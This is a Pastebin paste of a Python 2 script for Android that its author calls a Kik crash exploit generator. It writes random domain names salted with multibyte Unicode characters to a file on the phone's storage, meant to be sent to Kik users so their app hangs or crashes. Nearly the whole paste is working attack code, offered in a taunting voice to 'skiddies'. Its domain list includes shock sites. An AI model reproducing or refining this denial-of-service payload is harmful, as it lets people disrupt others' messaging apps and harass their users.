Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #-*-coding:utf8;-*-
- #qpy:2
- #qpy:console
- #Kik crash code generator
- #POC exploit for unicode parsing error causing DoS when handling domains and URLs
- #Cheers skiddies ^-^
- import string, random
- print
- print " /-------------------------------------------------\\"
- print "| Welcome to Milenkos Kik crash exploit generator! |"
- print " \-------------------------------------------------/"
- print
- crashchars = [
- '\xe2\x82\xac',
- '\xc2\xa3',
- '\xc2\xa5',
- '\xe2\x82\xa9',
- '\xc2\xa4',
- '\xe2\x99\xa1',
- '\xe2\x99\xa5',
- '\xe3\x80\x8a',
- '\xe3\x80\x8b',
- '\xc2\xa1',
- '\xc2\xbf',
- '\xec\x9b\x83',
- '\xc2\xa2',
- '\xc2\xa9',
- '\xc2\xae',
- '\xe2\x84\xa2',
- '\xc2\xac',
- '\xc2\xa6',
- '\xc3\xb7',
- '\xc2\xb0',
- '\xc2\xb6',
- '\xc2\xa7',
- '\xc3\x97'
- ]
- domainchars = []
- chars = string.letters + string.digits
- for char in chars:
- domainchars.append(char)
- domains = """net
- com
- org
- us
- gov
- mil
- edu
- pornhub.com
- kik.com
- gaybeast.com
- tubgirl.ca
- goatse.info
- meatspin.com
- xvideos.com
- xxnx.com
- cia.gov
- nsa.gov
- fbi.gov
- dea.gov
- whitehouse.gov
- knowyourmeme.com
- int
- pn
- tk
- cf
- nz
- ga""".split()
- class TrackedFile(file):
- def __init__(self, filename, mode):
- self.size = 0
- super(TrackedFile, self).__init__(filename, mode)
- def write(self, s):
- self.size += len(s)
- super(TrackedFile, self).write(s)
- fh = TrackedFile("/sdcard/crashdomains.txt", "ab")
- crashkb = float(raw_input("How many kilobytes of crash domains? (increases lag) "))
- while fh.size < crashkb * 1024:
- crashdomain = ""
- for char in xrange(0, random.randrange(4, 6)):
- crashdomain += random.choice(domainchars)
- crashdomain = ''.join('%s%s' % (x, unicode(random.choice(crashchars), 'utf8') if random.random() > 0.50 else '') for x in crashdomain)
- crashdomain += "." + random.choice(domains)
- fh.write(crashdomain.encode('utf8', 'replace') + "\r\n")
- fh.close()
- print
- print "Done. Thank Milenko the hax gawd"
Advertisement
Add Comment
Please, Sign In to add comment